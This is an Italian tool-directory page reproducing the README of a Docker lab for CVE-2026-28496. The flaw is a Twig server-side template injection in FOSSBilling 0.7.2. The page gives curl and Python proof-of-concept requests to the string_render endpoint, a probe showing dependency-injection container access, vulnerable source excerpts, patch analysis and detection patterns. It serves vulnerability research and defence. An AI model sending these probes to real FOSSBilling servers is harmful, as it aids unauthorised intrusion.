Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-28496-Lab — Lab basato su Docker per riprodurre e validare CVE-2026-28496, una vulnerabilità Server-Side Template Injection nel rendering Twig di FOSSBilling, con target di confronto vulnerabili e patchati. | Kitploit
Strumenti/GitHubGitHub/rootdirective-sec/cve-2026-28496-lab
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneLab e Pratica
GitHubrootdirective-sec/cve-2026-28496-lab

CVE-2026-28496-Lab

Lab basato su Docker per riprodurre e validare CVE-2026-28496, una vulnerabilità Server-Side Template Injection nel rendering Twig di FOSSBilling, con target di confronto vulnerabili e patchati.

Vedi Repository
12 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-28496 - Iniezione di Template Lato Server in FOSSBilling nel Rendering di Twig

Riepilogo Esecutivo

Questo repository contiene un laboratorio Docker locale per riprodurre e validare CVE-2026-28496, una vulnerabilità di Iniezione di Template Lato Server che colpisce il comportamento di rendering dei template Twig di FOSSBilling.

FOSSBilling è una piattaforma di fatturazione e gestione clienti gratuita e open-source. Le versioni precedenti alla 0.8.0 sono affette da un comportamento non sicuro nel rendering dei template Twig, in grado di valutare espressioni di template fornite. In questo laboratorio, FOSSBilling 0.8.0 viene utilizzato come target di confronto corretto.

Questo laboratorio confronta due versioni di FOSSBilling:

ServizioVersione FOSSBillingScopoURL
vuln0.7.2Target di confronto vulnerabilehttp://localhost:8081
patched0.8.0Target di confronto correttohttp://localhost:8082

Il percorso di validazione HTTP dimostrato in questo laboratorio locale è:```text Unauthenticated HTTP request in this local FOSSBilling 0.7.2 lab → POST /api/system/system/string_render → JSON body contains _tpl={{ 7*7 }} → vulnerable target renders the Twig expression → patched target does not expose the same tested API behavior

root@kitploit:~
Nel target vulnerabile, la chiamata API restituisce:```json
{"result":"49","error":null}

Nel target corretto, la stessa richiesta restituisce:```json {"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}

root@kitploit:~
Questo laboratorio convalida il comportamento HTTP della versione vulnerabile rispetto a quella corretta utilizzando FOSSBilling 0.7.2 e FOSSBilling 0.8.0.

Il laboratorio è intenzionalmente limitato ai servizi Docker locali. Non ha come bersaglio sistemi esterni e non include web shell, malware, persistenza, callback esterni, dumping di database o payload distruttivi.

## Fatti verificati

| Affermazione                                                                               | Prova                                                                                                           | Come verificare in questo laboratorio                                                              |
| ----------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------ | -------------------------------------------------------------------------------------- |
| CVE-2026-28496 colpisce le versioni di FOSSBilling precedenti alla 0.8.0.                         | Il CVE pubblico e i metadati degli advisory identificano FOSSBilling precedente alla 0.8.0 come colpito da Twig SSTI.                     | Rivedere la sezione Riferimenti e confrontare le versioni vulnerabile e corretta del target.  |
| FOSSBilling 0.7.2 è utilizzato come target vulnerabile di confronto.                      | Il servizio vulnerabile è costruito dall'immagine Docker ufficiale `fossbilling/fossbilling:0.7.2`.                    | Ispezionare `vuln/Dockerfile` ed eseguire `docker compose ps -a`.                              |
| FOSSBilling 0.8.0 è utilizzato come target corretto di confronto.                         | Il servizio corretto è costruito dall'immagine Docker ufficiale `fossbilling/fossbilling:0.8.0`.                       | Ispezionare `patched/Dockerfile` ed eseguire `docker compose ps -a`.                           |
| Il percorso HTTP vulnerabile è `/api/system/system/string_render`.                     | Il target vulnerabile restituisce JSON con `result: "49"` per `_tpl={{ 7*7 }}`.                                       | Eseguire `python3 poc/poc.py --url http://localhost:8081`.                                  |
| Il target corretto non espone lo stesso comportamento HTTP.                          | Il target corretto restituisce `Unknown API call system/system/string_render`.                                         | Eseguire `python3 poc/poc.py --url http://localhost:8082`.                                  |
| Il PoC è solo HTTP.                                                               | `poc/poc.py` invia richieste HTTP POST e non chiama Docker, Docker Compose, comandi shell o API dei container. | Ispezionare `poc/poc.py`.                                                                  |
| Il laboratorio installa automaticamente entrambi i target FOSSBilling all'avvio di Docker Compose.       | I container sidecar installer one-shot completano la configurazione ed escono con stato 0.                                   | Eseguire `docker compose ps -a` e `docker compose logs installer-vuln installer-patched`. |
| Il target vulnerabile renderizza l'espressione Twig innocua.                         | La risposta HTTP dalla porta 8081 è `{"result":"49","error":null}`.                                                | Eseguire il comando PoC vulnerabile.                                                        |
| Il target corretto non renderizza la stessa espressione attraverso il percorso API testato. | La risposta HTTP dalla porta 8082 è un errore API JSON con codice `879`.                                              | Eseguire il comando PoC corretto.                                                           |

## Ipotesi e incognite

Questo laboratorio utilizza FOSSBilling 0.7.2 come target vulnerabile di confronto perché la ricerca pubblica sulle vulnerabilità identifica le versioni di FOSSBilling precedenti alla 0.8.0 come colpite, e la 0.7.2 è l'ultima release vulnerabile utilizzata nella catena testata.

Questo laboratorio utilizza FOSSBilling 0.8.0 come target corretto di confronto perché i metadati degli advisory pubblici identificano la 0.8.0 come la versione corretta.

Questo laboratorio si concentra sul comportamento HTTP osservabile di:```text
POST /api/system/system/string_render

con questo corpo JSON:```json {"_tpl":"{{ 7*7 }}"}

root@kitploit:~
Il laboratorio dimostra che FOSSBilling 0.7.2 renderizza l'espressione Twig fornita attraverso il percorso API HTTP, mentre FOSSBilling 0.8.0 non espone la stessa chiamata API.

Questo laboratorio non sostiene di testare tutte le funzionalità di rendering dei template di FOSSBilling. CVE-2026-28496 riguarda anche altri contesti di rendering Twig, come le funzionalità di rendering dei template disponibili all'interno dell'applicazione.

Questo laboratorio non dimostra l'intera catena di esecuzione remota di codice non autenticata. Valida il comportamento HTTP non autenticato osservato nel target locale FOSSBilling 0.7.2 e lo confronta con FOSSBilling 0.8.0. L'intera catena pubblica coinvolge comportamenti aggiuntivi di autorizzazione API oltre alla validazione sicura dell'espressione Twig mostrata qui.

Il laboratorio non dimostra:

* esecuzione remota di comandi,
* estrazione di credenziali,
* dump del database,
* installazione di estensioni,
* scrittura arbitraria di file,
* persistenza,
* upload di web shell,
* callback esterni,
* attacchi contro sistemi non di laboratorio,
* o attività di post-exploitazione.

## Root Cause Summary

La causa principale di CVE-2026-28496 è il rendering non sicuro dei template Twig.

FOSSBilling utilizza Twig per renderizzare template dinamici. Nelle versioni vulnerabili, una stringa di template fornita può essere passata nella logica di rendering di Twig senza sufficienti restrizioni di sandbox.

Il comportamento vulnerabile può essere riassunto come:```text
Input template string
→ FOSSBilling API receives _tpl
→ System\Api\Admin::string_render() reads _tpl
→ System\Service::renderString() receives the template string
→ Twig creates a template from the supplied string
→ Twig evaluates the expression
→ rendered output is returned in the HTTP response

Per questa innocua espressione di template:```twig {{ 7*7 }}

root@kitploit:~
il bersaglio vulnerabile valuta l'espressione e restituisce:```text
49

Il problema di sicurezza non si limita alla valutazione aritmetica. La valutazione aritmetica è solo il segnale visibile sicuro utilizzato in questo laboratorio.

Il problema più critico per la sicurezza è che i template Twig non insabbiati possono accedere a oggetti e metodi esposti nel contesto del template. La ricerca pubblica descrive un percorso di impatto maggiore in cui l'esecuzione del template Twig può raggiungere i meccanismi interni dell'applicazione, incluso il contenitore di dependency injection, quando sono disponibili oggetti di contesto del template adatti.

Il modello vulnerabile semplificato è:```text Template renderer → unsandboxed Twig expression → method/object access may be possible → application internals may become reachable → sensitive services may become reachable

root@kitploit:~
Il design corretto in FOSSBilling 0.8.0 rafforza il comportamento vulnerabile. In questo laboratorio, il target corretto non espone più la chiamata API testata:```json
{"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}

La lezione di sicurezza è:```text Template engines must not render user-controlled template strings in a privileged application context unless strict authorization and sandbox boundaries are enforced.

root@kitploit:~
## Analisi del Codice Sorgente

Il comportamento HTTP vulnerabile è supportato dal percorso del codice sorgente in FOSSBilling 0.7.2.

Il metodo API riceve `_tpl` dai dati della richiesta e lo passa al renderer del servizio di sistema.

Punto di ingresso vulnerabile rilevante:```php
public function string_render($data)
{
    if (!isset($data['_tpl'])) {
        error_log('_tpl parameter not passed');
        return '';
    }

    $tpl = $data['_tpl'];
    $try_render = $data['_try'] ?? false;

    $vars = $data;
    unset($vars['_tpl'], $vars['_try']);

    return $this->getService()->renderString($tpl, $try_render, $vars);
}

Il flusso di dati importante è:```text HTTP request body → _tpl → System\Api\Admin::string_render() → System\Service::renderString()

root@kitploit:~
In FOSSBilling 0.7.2, `renderString()` tenta di caricare il valore fornito come nome di un template. Se fallisce, tratta il valore fornito come una stringa di template e lo passa a `createTemplateFromString()`. Flusso vulnerabile semplificato:```php
public function renderString($tpl, $try_render, $vars)
{
    $twig = $this->di['twig'];

    try {
        $template = $twig->load($tpl);
        $parsed = $template->render($vars);
    } catch (\Exception) {
        // $twig->load throws an exception when $tpl is a raw template string
        $parsed = $this->createTemplateFromString($tpl, $try_render, $vars);
    }

    return $parsed;
}

Il sink vulnerabile è createTemplateFromString():```php public function createTemplateFromString($tpl, $try_render, $vars) { try { $twig = $this->di['twig']; $template = $twig->createTemplate($tpl); $parsed = $template->render($vars); } catch (\Exception $e) { $parsed = $tpl;

root@kitploit:~
    if (!$try_render) {
        throw $e;
    }
}

return $parsed;

}

root@kitploit:~
Il pattern di sorgente rilevante per la sicurezza è:```text
_tpl from request data
→ used as $tpl
→ passed to Twig createTemplate()
→ rendered server-side

Questo spiega il risultato del laboratorio vulnerabile:```text POST /api/system/system/string_render {"_tpl":"{{ 7*7 }}"}

root@kitploit:~
Risposta vulnerabile:```json
{"result":"49","error":null}

Il valore 49 dimostra che l'espressione Twig fornita è stata valutata lato server.

Il payload sicuro del lab utilizza solo aritmetica:```twig {{ 7*7 }}

root@kitploit:~
Tuttavia, la causa principale è più critica per la sicurezza rispetto alla valutazione di espressioni aritmetiche. Nei contesti di rendering vulnerabili, i template Twig possono interagire con oggetti dell'applicazione presenti nell'ambiente del template. Ricerche pubbliche descrivono catene di impatto maggiore in cui gli oggetti di contesto API possono esporre l'accesso a componenti interni dell'applicazione, come il contenitore per l'iniezione delle dipendenze.

Un controllo di regressione a livello di codice sorgente ha confermato il comportamento più profondo:```text
FOSSBilling 0.7.2:
  {{ guest.getDi() }}
  → DI_VISIBLE

FOSSBilling 0.8.0:
  {{ guest.getDi() }}
  → blocked by Twig sandbox policy

Ecco perché la vulnerabilità è meglio compresa come un rendering non sicuro di template, non semplicemente un bug di valutazione di espressioni in stile calcolatrice.

Riepilogo della Patch di Origine

FOSSBilling 0.8.0 modifica il comportamento vulnerabile rafforzando il rendering delle stringhe e rimuovendo il comportamento HTTP vulnerabile testato.

Nella versione patchata, il rendering delle stringhe viene instradato attraverso un rendering con sandbox piuttosto che eseguire direttamente il rendering di stringhe di template arbitrarie con ampie capacità di Twig.

Il codice del servizio patchato chiama un renderer con sandbox:```php $rendered = SandboxedStringRenderer::render( $twig, $tpl, $vars, $errorMessage );

root@kitploit:~
Il renderer sandboxed crea e renderizza un template, ma cattura le violazioni del sandbox di Twig e le converte in un errore controllato dell'applicazione:```php
final class SandboxedStringRenderer
{
    public static function render(
        Environment $twig,
        string $content,
        array $context = [],
        string $name = 'template'
    ): string {
        try {
            return $twig->createTemplate($content)->render($context);
        } catch (SecurityError $e) {
            throw new InformationException(
                '%name% contains disallowed Twig syntax: %error%',
                [
                    '%name%' => $name,
                    '%error%' => $e->getMessage(),
                ]
            );
        }
    }
}

La politica della sandbox blocca l'accesso ai metodi e alle proprietà per impostazione predefinita:```php $methods = []; $properties = [];

root@kitploit:~
Il cambiamento rilevante per la sicurezza è:```text
Before:
  request-controlled template string
  → Twig createTemplate()
  → render without the patched sandbox boundary

After:
  template string rendering
  → SandboxedStringRenderer
  → Twig sandbox policy
  → method/property access denied by default

Per il percorso API HTTP pubblico testato in questo laboratorio, FOSSBilling 0.8.0 non espone la stessa chiamata API vulnerabile:```json {"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}

root@kitploit:~
Questo fornisce due utili livelli di validazione:```text
HTTP behavior validation:
  0.7.2 renders {{ 7*7 }} through /api/system/system/string_render.
  0.8.0 does not expose the same API behavior.

Source/root-cause validation:
  0.7.2 allows unsafe Twig rendering behavior.
  0.8.0 introduces sandboxed string rendering and blocks method/property access.

Il laboratorio mantiene questi due strati separati:```text HTTP PoC result proves the vulnerable endpoint behavior.

Source patch review explains why unsafe Twig rendering was dangerous and how the patched version hardens it.

root@kitploit:~
## Architettura del laboratorio

Il laboratorio esegue due installazioni isolate di FOSSBilling tramite Docker Compose.```text
.
├── docker-compose.yml
├── vuln/
│   └── Dockerfile
├── patched/
│   └── Dockerfile
├── poc/
│   └── poc.py
├── scripts/
│   └── auto-install.sh
├── README.md
└── .gitignore

I due servizi FOSSBilling utilizzano database separati e versioni separate dell'applicazione:

ServiceComponentVersion / Role
vulnFOSSBillingapplicazione target vulnerabile
patchedFOSSBillingapplicazione target patchata
vuln-dbMariaDBdatabase per target vulnerabile
patched-dbMariaDBdatabase per target patchato
installer-vulncurl sidecarinstalla automaticamente target vulnerabile
installer-patchedcurl sidecarinstalla automaticamente target patchato

Servizi esposti predefiniti:```text Vulnerable target: http://localhost:8081 Patched target: http://localhost:8082

root@kitploit:~
Il laboratorio utilizza versioni fissate di FOSSBilling:

| Obiettivo                | Versione FOSSBilling | Comportamento previsto                                   |
| --------------------- | ------------------: | --------------------------------------------------- |
| http://localhost:8081 |               0.7.2 | rende `{{ 7*7 }}` attraverso il percorso API vulnerabile |
| http://localhost:8082 |               0.8.0 | non espone lo stesso comportamento API vulnerabile    |

I sidecar di installazione vengono eseguiti automaticamente durante `docker compose up`. Inizializzano entrambi i target FOSSBilling con credenziali di database locali usa-e-getta e poi escono.

Il laboratorio non crea né modifica il percorso API vulnerabile.

Il percorso `/api/system/system/string_render` è fornito dall'applicazione FOSSBilling nel target vulnerabile 0.7.2 dopo l'installazione. Il laboratorio Docker installa solo l'applicazione tramite il suo normale flusso di installazione e poi invia una richiesta HTTP all'endpoint esistente dell'applicazione.

Il target corretto 0.8.0 restituisce `Unknown API call system/system/string_render`, il che conferma che il comportamento del percorso testato proviene dalla versione dell'applicazione stessa e non da un percorso creato dal laboratorio.

## Requisiti

* Docker Desktop o Docker Engine
* Docker Compose v2
* Python 3
* Accesso a Internet durante il primo pull dell'immagine Docker

Nessun pacchetto Python di terze parti è richiesto. Il PoC utilizza solo moduli della libreria standard di Python.

## Avvio Rapido

Avvia il laboratorio da uno stato pulito:```bash
docker compose down -v --remove-orphans
docker compose up -d --build

Controlla lo stato del servizio:```bash docker compose ps -a

root@kitploit:~
Servizi previsti in esecuzione:```text
cve-2026-28496-vuln
cve-2026-28496-patched
cve-2026-28496-vuln-db
cve-2026-28496-patched-db

Servizi di installazione previsti completati:```text cve-2026-28496-installer-vuln Exited (0) cve-2026-28496-installer-patched Exited (0)

root@kitploit:~
Controlla i log di installazione:```bash
docker compose logs installer-vuln installer-patched

Controlla le applicazioni web:```bash curl -i http://127.0.0.1:8081 | head curl -i http://127.0.0.1:8082 | head

root@kitploit:~
Esegui la validazione HTTP contro il target vulnerabile:```bash
python3 poc/poc.py --url http://localhost:8081

Esegui la validazione HTTP contro il target patchato:```bash python3 poc/poc.py --url http://localhost:8082

root@kitploit:~
## Utilizzo del PoC

Il PoC accetta un URL base locale di FOSSBilling:```bash
python3 poc/poc.py --url <target_url>

Esempi:```bash python3 poc/poc.py --url http://localhost:8081 python3 poc/poc.py --url http://localhost:8082 python3 poc/poc.py --url http://127.0.0.1:8081 python3 poc/poc.py --url http://127.0.0.1:8082

root@kitploit:~
Il PoC invia questa richiesta HTTP:```text
POST /api/system/system/string_render
Content-Type: application/json

Corpo della richiesta:```json {"_tpl":"{{ 7*7 }}"}

root@kitploit:~
Il PoC è solo HTTP. Non chiama Docker, Docker Compose, comandi shell, WP-CLI o API del contenitore.

## Risultati attesi

### Target vulnerabile

Comando:```bash
python3 poc/poc.py --url http://localhost:8081

Segnale previsto del bersaglio vulnerabile:```text CVE-2026-28496 HTTP validation PoC Scope: authorized local lab target only URL: http://localhost:8081 Endpoint: http://localhost:8081/api/system/system/string_render Template: {{ 7*7 }}

===== HTTP response ===== status=200 content-type=application/json; charset=utf-8 {"result":"49","error":null}

===== verdict ===== VULNERABLE/REACHABLE: server rendered {{ 7*7 }} and returned 49.

root@kitploit:~
### Target con patch

Comando:```bash
python3 poc/poc.py --url http://localhost:8082

Segnale target corretto previsto:```text CVE-2026-28496 HTTP validation PoC Scope: authorized local lab target only URL: http://localhost:8082 Endpoint: http://localhost:8082/api/system/system/string_render Template: {{ 7*7 }}

===== HTTP response ===== status=400 content-type=application/json {"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}

===== verdict ===== PATCHED/NOT REACHABLE: target did not render the supplied template.

root@kitploit:~
La differenza importante è:```text
FOSSBilling 0.7.2
→ renders {{ 7*7 }}
→ returns 49

FOSSBilling 0.8.0
→ does not render the supplied template through this API path
→ returns an API error

Come funziona la validazione

Il validatore invia una singola richiesta HTTP POST all'endpoint API di FOSSBilling:```text /api/system/system/string_render

root@kitploit:~
Il corpo della richiesta contiene un'espressione Twig innocua:```json
{"_tpl":"{{ 7*7 }}"}

Comportamento vulnerabile previsto:```text HTTP 200 OK JSON result is "49"

root@kitploit:~
Comportamento atteso dopo la correzione:```text
HTTP 400 Bad Request
JSON error indicates the API call is unknown or not reachable

Ciò conferma che il target vulnerabile valuta il template fornito lato server.

Il PoC utilizza intenzionalmente {{ 7*7 }} invece di un payload distruttivo. L'obiettivo è dimostrare la condizione tecnica in sicurezza:```text attacker-controlled template input

  • server-side Twig evaluation
  • observable rendered output
root@kitploit:~
Per una validazione più approfondita della causa principale a livello di codice sorgente, l'accesso al metodo è una prova più forte del problema sottostante. Tuttavia, il PoC pubblico in questo repository utilizza l'espressione aritmetica più sicura per evitare di dimostrare una catena ad alto impatto.

## Riproduzione manuale HTTP con curl

Probe vulnerabile:```bash
curl -i -X POST \
  'http://127.0.0.1:8081/api/system/system/string_render' \
  -H 'Content-Type: application/json' \
  --data '{"_tpl":"{{ 7*7 }}"}'

Risultato atteso:```text HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8

{"result":"49","error":null}

root@kitploit:~
Sonda patchata:```bash
curl -i -X POST \
  'http://127.0.0.1:8082/api/system/system/string_render' \
  -H 'Content-Type: application/json' \
  --data '{"_tpl":"{{ 7*7 }}"}'

Risultato atteso:```text HTTP/1.1 400 Bad Request Content-Type: application/json

{"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}

root@kitploit:~
## Impact

L'Iniezione di Template Lato Server (Server-Side Template Injection) in una piattaforma di fatturazione e gestione clienti è sensibile dal punto di vista della sicurezza perché l'applicazione può memorizzare record dei clienti, dati di fatturazione, credenziali del server, configurazione dei pagamenti e logica di automazione controllata dall'amministratore.

Il payload di laboratorio dimostrato è innocuo e valuta soltanto:```twig
{{ 7*7 }}

Tuttavia, la classe sottostante di vulnerabilità può essere più grave quando l'esecuzione del template ha accesso a oggetti, metodi o contenitori di servizi dell'applicazione.

L'impatto potenziale nel mondo reale, a seconda della configurazione e del contesto del template raggiungibile, può includere:

  • divulgazione di informazioni,
  • accesso agli interni dell'applicazione,
  • accesso a servizi applicativi sensibili,
  • modifica dello stato dell'applicazione,
  • ed esecuzione remota di codice quando concatenata con un percorso di esecuzione adatto.

Questo laboratorio dimostra solo il segnale di validazione HTTP sicuro. Non dimostra l'accesso alle credenziali, l'accesso al database, l'installazione di estensioni, l'esecuzione di comandi o la post-esplorazione.

Rilevamento e Monitoraggio

Gli indicatori potenziali includono richieste HTTP all'endpoint API di FOSSBilling:```text /api/system/system/string_render

root@kitploit:~
Pattern di richiesta sospetto:```text
POST /api/system/system/string_render
Content-Type: application/json

Indicatori sospetti nel corpo della richiesta:```text _tpl {{ }} Twig syntax

root@kitploit:~
Esempio di pattern di log degli accessi:```text
POST /api/system/system/string_render

Esempio di payload JSON:```json {"_tpl":"{{ 7*7 }}"}

root@kitploit:~
Azioni di monitoraggio raccomandate:

* Esaminare i log di accesso del server web per `/api/system/system/string_render`.
* Esaminare le richieste contenenti `_tpl` nei corpi delle richieste JSON.
* Esaminare le richieste contenenti sintassi Twig come `{{` e `}}`.
* Esaminare le risposte API riuscite che contengono output di template renderizzato.
* Esaminare le risposte API fallite per tentativi sospetti di rendering di template.
* Esaminare l'attività degli amministratori se si sospetta uno sfruttamento.
* Esaminare le modifiche alla configurazione di template, email, mailer di massa e adattatori di pagamento.
* Esaminare i log dell'applicazione per errori di rendering di template o chiamate API inaspettate.

Idea di rilevamento ad alta segnaletica:```text
POST request to /api/system/system/string_render
AND request body contains "_tpl"
AND request body contains "{{"

Un altro artefatto di convalida locale ad alto segnale:```text Request body: {"_tpl":"{{ 7*7 }}"}

Response body: {"result":"49","error":null}

root@kitploit:~
## Mitigazione e note sulla patch

Aggiorna FOSSBilling alla versione 0.8.0 o successiva.

Per gli ambienti di produzione, aggiorna all'ultima versione disponibile, non limitarti alla versione di confronto del laboratorio.

Passaggi di mitigazione consigliati:

* Aggiorna FOSSBilling a 0.8.0 o successiva.
* Verifica che la versione installata non sia nell'intervallo interessato.
* Limita l'accesso pubblico ai percorsi API amministrativi ove possibile.
* Esamina i log di accesso web per richieste a `/api/system/system/string_render`.
* Controlla template, template email, mailing di massa e adattatori di pagamento personalizzati per sintassi Twig sospetta.
* Ruota i segreti se si sospetta uno sfruttamento.
* Esamina i record di clienti, fatturazione, pagamenti e gestione server per accessi non autorizzati.
* Tratta le regole WAF o i blocchi del proxy inverso come controlli temporanei, non come sostituti dell'aggiornamento.

Lezioni di ingegneria della sicurezza:

* Non eseguire il rendering di stringhe di template non attendibili in un contesto applicativo privilegiato.
* Non esporre i contenitori dei servizi applicativi ai contesti dei template.
* Utilizza il rendering di template in sandbox per funzionalità template controllate dall'utente o dall'amministratore.
* Nega l'accesso a metodi e proprietà a meno che non sia esplicitamente richiesto.
* Mantieni gli errori di autorizzazione API espliciti e fallisci in modo chiuso.
* Tratta le funzionalità di rendering dei template come superfici adiacenti all'esecuzione del codice.

## Comandi di verifica utili

Controlla lo stato del contenitore:```bash
docker compose ps -a

Controlla i log dell'installer:```bash docker compose logs installer-vuln installer-patched

root@kitploit:~
Controlla i servizi web:```bash
curl -i http://127.0.0.1:8081 | head
curl -i http://127.0.0.1:8082 | head

Esegui la validazione HTTP vulnerabile:```bash python3 poc/poc.py --url http://localhost:8081

root@kitploit:~
Esegui la validazione HTTP patchata:```bash
python3 poc/poc.py --url http://localhost:8082

Richiesta vulnerabile manuale:```bash curl -i -X POST
'http://127.0.0.1:8081/api/system/system/string_render'
-H 'Content-Type: application/json'
--data '{"_tpl":"{{ 7*7 }}"}'

root@kitploit:~
Richiesta di patch manuale:```bash
curl -i -X POST \
  'http://127.0.0.1:8082/api/system/system/string_render' \
  -H 'Content-Type: application/json' \
  --data '{"_tpl":"{{ 7*7 }}"}'

Ispeziona il flusso del codice sorgente vulnerabile dall'albero di origine estratto:```bash git checkout 0.7.2

grep -n "function string_render" -A30 src/modules/System/Api/Admin.php grep -n "function renderString" -A70 src/modules/System/Service.php grep -n "function createTemplateFromString" -A30 src/modules/System/Service.php

root@kitploit:~
Ispeziona il renderer sandbox patchato dall'albero sorgente estratto:```bash
git checkout 0.8.0

grep -R "SandboxedStringRenderer" -n src/modules src/library | head -30
grep -R "\$methods = \[\]\|\$properties = \[\]" -n src/library/FOSSBilling/Twig

Salva evidenza di convalida:```bash mkdir -p evidence

python3 poc/poc.py --url http://localhost:8081
| tee evidence/vulnerable-http-validation.txt

python3 poc/poc.py --url http://localhost:8082
| tee evidence/patched-http-validation.txt

docker compose ps -a
| tee evidence/docker-compose-ps.txt

docker compose logs installer-vuln installer-patched
| tee evidence/installer-logs.txt

root@kitploit:~
Verifica le intestazioni della risposta di FOSSBilling:```bash
curl -i http://127.0.0.1:8081 | grep -i 'x-fossbilling-version'
curl -i http://127.0.0.1:8082 | grep -i 'x-fossbilling-version'

Pulizia

Ferma e rimuovi i contenitori e le reti:```bash docker compose down --remove-orphans

root@kitploit:~
Rimuovere contenitori, reti e volumi:```bash
docker compose down -v --remove-orphans

Rimuovi i file di prova locali se creati:```bash rm -rf evidence/

root@kitploit:~
## Limiti di Sicurezza

Questo laboratorio è destinato esclusivamente a ricerca di sicurezza locale e dimostrazioni controllate.

Non eseguire il PoC o richieste curl manuali contro sistemi che non possiedi o per cui non hai esplicita autorizzazione al test.

Non utilizzare credenziali reali di produzione, dati dei clienti, dati di pagamento, chiavi API o segreti di produzione in questo laboratorio.

L'ambito previsto è limitato a servizi Docker locali come:```text
http://localhost:8081
http://localhost:8082
http://127.0.0.1:8081
http://127.0.0.1:8082

Il PoC è intenzionalmente solo HTTP e di ambito locale. Non utilizza Docker, Docker Compose, comandi shell, WP-CLI o API di container.

Il laboratorio non include payload per:

  • caricamento di web shell,
  • esecuzione arbitraria di comandi,
  • persistenza,
  • movimento laterale,
  • furto di credenziali,
  • dump del database,
  • accesso ai dati dei clienti,
  • accesso alle credenziali di pagamento,
  • o callback esterni.

L'obiettivo è dimostrare una specifica condizione tecnica in un ambiente controllato:```text HTTP request

  • FOSSBilling string_render API path
  • Twig template expression
  • vulnerable target renders the expression
  • patched target does not render the expression
root@kitploit:~
## Riferimenti

* Record CVE: CVE-2026-28496
  https://www.cve.org/CVERecord?id=CVE-2026-28496

* Avviso GitHub: GHSA-57mv-jm88-66jc
  https://github.com/FOSSBilling/FOSSBilling/security/advisories/GHSA-57mv-jm88-66jc

* VulnCheck: FOSSBilling Auth Bypass and Twig SSTI to Unauthenticated RCE
  https://www.vulncheck.com/blog/fossbilling-auth-bypass-ssti-rce

* Documentazione Docker di FOSSBilling
  https://docs.fossbilling.org/getting-started/docker/

* Repository GitHub di FOSSBilling
  https://github.com/FOSSBilling/FOSSBilling

* Immagine Docker di FOSSBilling
  https://hub.docker.com/r/fossbilling/fossbilling

* Documentazione Twig: Estensione Sandbox
  https://twig.symfony.com/doc/3.x/sandbox.html
Scarica lo strumento